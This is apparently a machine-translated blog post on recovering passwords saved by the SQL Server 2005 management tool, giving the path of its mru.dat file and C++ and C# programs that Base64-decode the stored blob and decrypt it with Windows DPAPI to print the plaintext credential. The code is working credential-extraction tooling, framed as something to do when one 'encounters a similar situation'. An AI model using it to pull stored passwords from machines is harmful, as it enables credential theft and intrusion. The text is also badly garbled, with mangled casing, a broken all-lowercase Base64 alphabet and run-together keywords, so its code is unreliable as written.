Get the native MSSQL save voucher

First of all, thank you guys for my advice, thank you.

How do we get the credentials stored in the MSSQL tool when we encounter a similar situation?

//If you add a ip\sqlexpress connection after the connecting address, you will remember to add it, or even if the password is correct, you may say that the login failed.

By discussing the research analysis with the Buddies and finding the information, we know where the password is stored:

C:\Users\Administrator\AppData\Roaming\Microsoft\Microsoft SQL Server\90\tools\shellsem\mru.dat (the current MSSQL Connection tool is 2005 )

We'll look at MRU.DAT through C32 and we'll find a bunch of BASE64 codes:

This is our saved credentials, but not directly restore BASE64, you need to decode after the DPAPI to decrypt:

The code is as follows:

//Encode.cpp: Defines the entry point of the console application. //#include"stdafx.h"#include<Windows.h>#include<stdio.h>#include<iostream>#include<cstdlib>#include<stdio.h>#pragmaComment (lib, "Crypt32.lib")using namespacestd;intBase64decoder (Char*input, unsignedChar*output) {    Charbase64string[]="abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz0123456789+/"; BYTE databuffer[4]; BYTE outputbuffer[3]; BYTE finalbuffer[ +]; intCount=0; intPadcount=0; intlength; Length=strlen (input); //Validate The data for BASE64    if(Length%4) {printf ("%s-invalid base64 Data is supplied%s (%d)", input, length); return 0; }    //count the No of padding    if(input[length-1] =='=') Padcount++; if(input[length-2] =='=') Padcount++; //Process 4 chars in each loop to produce 3 chars     for(intI=0; i < length; i + =4)    {        //Populate data buffer with position of Base64 characters for//next 4 bytes from encoded data         for(intj=0; J <4&& (i + j < length); J + +) Databuffer[j]= ( (int) STRCHR (base64string, Input[i+j])-(int) base64string); //Decode Data buffer back into bytesoutputbuffer[0] = (databuffer[0] <<2) + ((databuffer[1] &0x30) >>4); outputbuffer[1] = ((databuffer[1] &0x0f) <<4) + ((databuffer[2] &0x3c) >>2); outputbuffer[2] = ((databuffer[2] &0x03) <<6) + databuffer[3]; //Add all non-padded bytes in output buffer to decoded data         for(intK =0; K <3; k++) Finalbuffer[count++]=Outputbuffer[k]; } Count= count-Padcount; //copy the decoded data into input buffermemcpy (output, Finalbuffer, count); Output[count]=' /'; printf ("Base64 decoded string is [%s] (%d)", output, count); //std::cout << "11111" << Std::endl;Std::cout << Finalbuffer <<Std::endl; returncount;}intMainintargcChar**argv) {unsignedCharoutput[ +] = {0}; //Base64decoder ("znvja3lvdq==", output);    intI=base64decoder ("aqaaancmnd8bfderjhoawe/cl+ Sbaaaafkvvctckz0sdfrfzgeyufqaaaaaqaaaarablagyayqb1agwadaaaabbmaaaaaqaaiaaaaidhfhsscl9qom1cbxlsvxqlxsduubs5scx2hzy +tnkuaaaaaa6aaaaaagaaiaaaaadeqoqtyaeqgjymsdfuojdlhmgk4vttu6sozbla/ tzfeaaaaacxb3reqzjuhopytlkfwnhaaaaasc5un4laz9a2izadysbrg87jhqjbwaqly18fkf0fbyrlxieqmxjm+1flbcep32awy4qkpy+ 1aelhj6ijnbcq/a==", output); if(i = =0) {printf ("Encode error\r\n"); return-1;    } Data_blob Datapassword;    Data_blob DataOutput; Datapassword.cbdata=i; Datapassword.pbdata=output; if(CryptUnprotectData (&datapassword,0,0,0,0, Cryptprotect_ui_forbidden,&dataoutput))//Crypt Mssql Password{wcout<<"Mssql credence Password Length:"<< Dataoutput.cbdata <<"\ r \ n"; Wcout<<"Mssql credence Password:"<< (wchar_t*) Dataoutput.pbdata; }Else{wcout<<"Error";
return-1; }    return 0;}

And a copy of C #, which my buddy wrote:

usingSystem;usingSystem.Collections.Generic;//using System.Linq;usingSystem.Text;namespacemssql{classProgram {Static voidMain (string[] args) {Console.WriteLine (Encoding.Unicode.GetString (System.Security.Cryptography.ProtectedData.Unprotect (Convert.fro Mbase64string ("aqaaancmnd8bfderjhoawe/cl+ Sbaaaafkvvctckz0sdfrfzgeyufqaaaaaqaaaarablagyayqb1agwadaaaabbmaaaaaqaaiaaaaidhfhsscl9qom1cbxlsvxqlxsduubs5scx2hzy +tnkuaaaaaa6aaaaaagaaiaaaaadeqoqtyaeqgjymsdfuojdlhmgk4vttu6sozbla/ tzfeaaaaacxb3reqzjuhopytlkfwnhaaaaasc5un4laz9a2izadysbrg87jhqjbwaqly18fkf0fbyrlxieqmxjm+1flbcep32awy4qkpy+ 1aelhj6ijnbcq/a=="),NULL, System.Security.Cryptography.DataProtectionScope.LocalMachine))); }    }}

After Restore:

Vc

C#

Get the native MSSQL save voucher